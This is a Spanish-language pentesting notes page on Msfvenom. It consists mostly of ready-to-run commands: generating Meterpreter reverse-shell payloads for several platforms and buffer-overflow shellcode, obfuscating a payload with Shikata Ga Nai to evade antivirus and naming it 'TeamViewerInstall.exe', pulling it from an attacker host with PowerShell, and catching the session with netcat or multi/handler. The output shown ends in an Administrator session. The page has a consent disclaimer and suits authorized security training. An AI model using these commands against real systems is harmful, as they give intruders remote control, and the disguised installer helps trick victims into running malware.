☠️Msfvenom
Msfvenom es una herramienta de línea de comandos que se utiliza para generar payloads personalizados para una amplia variedad de sistemas operativos y arquitecturas.
Nota: Este tipo de técnicas son muy invasivas, ya que vamos a ganar acceso a distintos sistemas, por lo que no podemos utilizar estas técnicas sin un consentimiento o aprobación por parte del objetivo
Listado de payloads disponibles
msfvenom -l payloads
Empleo
msfvenom -h
Utiliza el comando "msfvenom" para crear un payload personalizado. Por ejemplo, el siguiente comando crea un payload de reverse de shell de Windows:
# Para Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP_Address> LPORT=<Port> -f exe > payload.exe
# En Java
msfvenom -p java/meterpreter/reverse_tcp LHOST=<IP_Address> LPORT=<Port> -f jar > payload.jar
# En python
msfvenom -p python/meterpreter/reverse_tcp LHOST={nuestra_ip} LPORT=4444 -o troyano.py
# Para Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST={nuestra_ip} LPORT=4444 -o troyano.exe
# Para Linux
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<tu_IP> LPORT=<puerto> -f elf > shell.elf
Buffer Overflow en Linux - Shellcode
msfvenom -p linux/x86/shell_reverse_tcp lhost={IP-ATACANTE} lport={PUERTO} --format c --arch x86 --platform linux --bad-chars "\x00\x09\x0a\x20" --out shellcode
Evasión de Antivirus
Codificación Shikata Ga Nai
Shikata Ga Nai es un encoder de Metasploit que se utiliza para ofuscar payloads, dificultando así su detección por sistemas antivirus. Este encoder emplea un algoritmo de codificación polimórfico, lo que significa que genera diferentes versiones del mismo payload en cada ejecución, evitando la generación de firmas estáticas. Aunque mejora las posibilidades de evadir antivirus, no garantiza la evasión completa debido a que los antivirus también evolucionan para detectar patrones de obfuscación.
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -o ./TeamViewerInstall.exe
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai chosen with final size 368
Payload size: 368 bytes
Final size of exe file: 73802 bytes
Saved as: TeamViewerInstall.exe
MSF Build
También podemos automatizar este proceso con MSF Build, un script que he desarrollado en python que nos genera automáticamente el ejecutable con la codificación Shikata Ga Nai
y otras medidas de evasión de antivirus.
Caso Práctico
Meterpreter para Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 --platform windows -a x64 -n 200 -e generic/none -i 4 -f exe -o reverse_shell.exe
Enviar reverse_shell.exe a la máquina Windows por el método que queramos:
cd <carpeta de la reverse shell>
python2 -m SimpleHTTPServer
# o
python3 -m http.server
(New-Object Net.WebClient).DownloadFile('http://{IP-ATACANTE}/reverse_shell.exe','reverse_shell.exe')
Nos ponemos en escucha con
Netcat
oMetasploit/multi/handler
por el puerto asignado:
nc -lvnp 4444
msfconsole
use exploit/multi/handler
set LHOST 127.0.0.1
set LPORT 4444
set PAYLOAD python/meterpreter/reverse_tcp # o el que hayamos puesto en msfvenom
exploit
Ejecutar reverse_shell.exe en la máquina Windows
. .\reverse_shell.exe
Recibimos la sesión de Meterpreter 😎
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Sending stage (177734 bytes) to 192.168.1.133
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 192.168.1.133:49402) at 2025-01-29 09:50:19 +0000
meterpreter > getuid
Server username: VAGRANT-2008R2\Administrator
Hack Tools Plugin
Este plugin disponible nos permite crear payloads a medida de MsfVenom, pudiendo configurar nuestra IP, puerto, plataforma objetivo, arquitectura y nuestro payload, en este caso un Meterpreter.

Links relacionados
👾Meterpreter🛡️Evasión de AntivirusÚltima actualización
¿Te fue útil?